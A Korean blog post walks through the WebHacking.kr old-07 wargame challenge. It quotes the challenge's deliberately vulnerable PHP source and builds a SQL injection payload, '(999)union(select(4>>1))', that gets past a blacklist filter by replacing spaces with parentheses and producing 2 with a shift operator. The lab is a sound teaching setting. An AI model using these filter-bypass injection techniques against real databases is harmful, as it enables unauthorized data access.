Search

WebHacking.kr Challenge old-07

목표 : SQL, 필터링 우회
클릭해보기 - 쿠키 값 보기 - 페이지 소스값 보기
auth 클릭 시
쿠키는 oldzombie 값 한 개
viewsource 클릭 시 확인 가능한 소스
<?php include "../../config.php"; if($_GET['view_source']) view_source(); ?><html> <head> <title>Challenge 7</title> </head> <body> <?php $go=$_GET['val']; if(!$go) { echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); } echo("<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p>"); if(preg_match("/2|-|\+|from|_|=|\\s|\*|\//i",$go)) exit("Access Denied!"); $db = dbconnect(); $rand=rand(1,5); if($rand==1){ $result=mysqli_query($db,"select lv from chall7 where lv=($go)") or die("nice try!"); } if($rand==2){ $result=mysqli_query($db,"select lv from chall7 where lv=(($go))") or die("nice try!"); } if($rand==3){ $result=mysqli_query($db,"select lv from chall7 where lv=((($go)))") or die("nice try!"); } if($rand==4){ $result=mysqli_query($db,"select lv from chall7 where lv=(((($go))))") or die("nice try!"); } if($rand==5){ $result=mysqli_query($db,"select lv from chall7 where lv=((((($go)))))") or die("nice try!"); } $data=mysqli_fetch_array($result); if(!$data[0]) { echo("query error"); exit(); } if($data[0]==1){ echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Access_Denied!')\"><p>"); } elseif($data[0]==2){ echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Hello admin')\"><p>"); solve(7); } ?> <a href=./?view_source=1>view-source</a> </body> </html>
PHP
복사
$data[0] 에 값 2를 넣게 되면 성공
$go=$_GET['val'];
PHP
복사
$go에는 뒤에 오는 값을 GET, 즉 URL에서 이렇게 받아온다.
if(preg_match("/2|-|\+|from|_|=|\\s|\*|\//i",$go)) exit("Access Denied!");
PHP
복사
정규식 매칭
2 - + from _ = \s * \ 공백 이 들어오면 접속 금지. 필터링 시스템
$db = dbconnect(); $rand=rand(1,5); if($rand==1){ $result=mysqli_query($db,"select lv from chall7 where lv=($go)") or die("nice try!"); } if($rand==2){ $result=mysqli_query($db,"select lv from chall7 where lv=(($go))") or die("nice try!"); } if($rand==3){ $result=mysqli_query($db,"select lv from chall7 where lv=((($go)))") or die("nice try!"); } if($rand==4){ $result=mysqli_query($db,"select lv from chall7 where lv=(((($go))))") or die("nice try!"); } if($rand==5){ $result=mysqli_query($db,"select lv from chall7 where lv=((((($go)))))") or die("nice try!"); } $data=mysqli_fetch_array($result); if(!$data[0]) { echo("query error"); exit(); } if($data[0]==1){ echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Access_Denied!')\"><p>"); } elseif($data[0]==2){ echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Hello admin')\"><p>"); solve(7); }
PHP
복사
DB에 연결 후 랜덤 값 생성 rand 에 1~5 사이 값 저장
SQL에 ‘select lv from chall7 where lv=((($go)))’ 과 같은 쿼리를 날린다.
5개 정도면 하나만 나온다 생각하고 여러번 시도하는게 속이 편하긴하다.
rand 가 1일 때를 확인해보면
$result=mysqli_query($db,"select lv from chall7 where lv=($go)") or die("nice try!");
PHP
복사
직독직해하자면 chall7 DB에서 lv 값이 $go인 lv을 고른다.
결국 $go에 들어가는 값이 data[0]의 값이 되는 구조
url 뒤 val 값에 여러 방법으로 우회해 2라는 값만 넣으면 된다.
필터링 문자 목록
2 - + from _ = \s * \ 공백
MySQL은 정말 다양한 연산자를 지원한다.
/\/ 는 불가능하니 % 와 같이 나머지를 만들거나 Shift 연산자 >> 를 사용해보자
(블랙리스트 기반이 아닌 화이트리스트 기반으로 해야하는 이유)
5%3 = 2
4>>1 = 2
Access Deny 가 아닌 Query error
SQL이나 DB를 조금 다뤄보지 않았으면 이해가 안될 수 있는 답변이다.
쿼리에 lv=2 라는 값이 없다는 이야기다
DB lv 컬럼에 2 값을 넣어줘야 한다.
select lv from chall7 where lv=val
val에 들어가는 값을 통해 lv=2인 컬럼을 만들어야 하니 컬럼을 반환하여 그 결과를 합치는 union select 문을 활용한다.
나온 결과물
12345 union select 2
공백을 필터링하니
(12345)union(select(2))
2를 필터링하니
(12345)union(select(4>>1))
쿼리문 구조를 확인해보면
select lv from chall7 where lv=($go)
select lv from chall7 where lv=(12345)union(select(4>>1))
PHP
복사
로 앞에 (를 빼야하고, rand 1일 때만 성립되므로 새로고침을 반복한다.
왜 안되지? 싶어 다시 확인했다.
놀랍게도 12345라는 값이 있나보다..
999로 바꾸고 새로고침을 수행하니까 풀렸다.
→ 다시 확인하니 12345에 2가 있어서 필터링됐다.

✓ 다른 [워게임] 포스트

WebHacking.kr Challenge Write-Up (70/80)
In progress
WebHacking.kr Challenge Write-Up (70/80)
In progress
Load more
︎ 더 많은 게시물을 보려면
︎ 작성자가 궁금하면?
 2023. absolroot all rights reserved.